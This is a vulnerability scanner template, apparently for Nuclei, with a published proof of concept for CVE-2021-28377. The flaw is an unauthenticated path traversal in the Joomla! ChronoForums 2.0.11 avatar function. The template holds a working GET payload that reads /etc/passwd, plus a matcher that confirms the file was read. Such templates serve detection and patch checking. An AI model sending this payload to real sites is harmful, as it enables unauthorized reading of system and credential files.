Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
PoC代码[已公开]
id: CVE-2021-28377
info:
name: Joomla! ChronoForums 2.0.11 - Local File Inclusion
author: 0x_Akoko
severity: medium
description: Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
impact: |
The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.
remediation: |
Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.
reference:
- https://herolab.usd.de/en/security-advisories/usd-2021-0007/
- https://nvd.nist.gov/vuln/detail/CVE-2021-28377
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-28377
cwe-id: CWE-22
epss-score: 0.4612
epss-percentile: 0.97576
cpe: cpe:2.3:a:chronoengine:chronoforums:2.0.11:*:*:*:*:joomla:*:*
metadata:
max-request: 1
vendor: chronoengine
product: chronoforums
framework: joomla
tags: cve2021,cve,chronoforums,lfi,joomla,chronoengine
http:
- method: GET
path:
- "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450221009b1bafe2bc4d8a2ae59070034952b4c4b56b2efb44afc00f534d55b4570c80bf0220761853d960e1453cdaca10ed9bc782d2aa1b7028ef1f3c50d4e078e32fff2fcf:922c64590222798bb761d5b6d8e72950